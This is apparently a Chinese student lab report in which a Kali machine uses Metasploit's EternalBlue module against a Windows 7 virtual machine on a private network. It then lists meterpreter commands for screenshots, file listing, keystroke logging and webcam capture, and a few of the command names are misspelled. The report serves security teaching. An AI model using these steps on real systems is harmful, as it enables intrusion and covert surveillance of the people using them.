一、实验目的
理解Windows操作系统的安全体系结构与机制,掌握Windows远程安全攻防技术,掌握Windows操作系统网络服务漏洞攻击过程,并学习如何利用metasploit对Windows操作系统进行简单的攻击及提权。
二、实验环境
攻击端 | 靶机 |
kali | windows7(64位) |
192.168.1.10 | 192.168.1.6 |
三、实验步骤
利用nmap来尝试扫描Windows 7看其是否具有MS17010漏洞并开放
初始化数据库
┌──(root㉿kali)-[~]
└─# msfdb init //初始化
[+] Starting database
[i] The database appears to be already configured, skipping initialization
打开metasploit
┌──(root㉿kali)-[~]
└─# msfconsole......
/ \ /\ __ _ __ /_/ __
| |\ / | _____ \ \ ___ _____ | | / \ _ \ \
| | \/| | | ___\ |- -| /\ / __\ | -__/ | || | || | |- -|
|_| | | | _|__ | |_ / -\ __\ \ | | | | \__/| | | |_
|/ |____/ \___\/ /\ \\___/ \/ \__| |_\ \___\
=[ metasploit v6.2.9-dev ]
+ -- --=[ 2230 exploits - 1177 auxiliary - 398 post ]
+ -- --=[ 867 payloads - 45 encoders - 11 nops ]
+ -- --=[ 9 evasion ]Metasploit tip: Use sessions -1 to interact with the
last opened session
利用msf框架中的ms17_010_eternalblue脚本攻击Windows 7。
远程获取Windows 7的桌面截图
远程获取Windows 7的文件目录
远程记录Windows 7的键盘击键记录
1.输入keyscan_start启动
2.在win7中打开的text文件中输入任意内容
3.在kali终端输入 keyscan_dump 即可获取键盘监听到的内容
4.输入 keyscan_stop 停止
在windows7中按win+R进入运行,输入“notepad"打开记事本
keyboard_send xxx发送目标文件到window7中
利用meterpreter中的Webcan_stream获取Windows 7的摄像头画面(需事先将笔记本摄像头连接至虚拟机Win7上)
打开windows7的摄像头,每个电脑的摄像头名称都不一样
webcam_list
webcam_snap
webcan_stream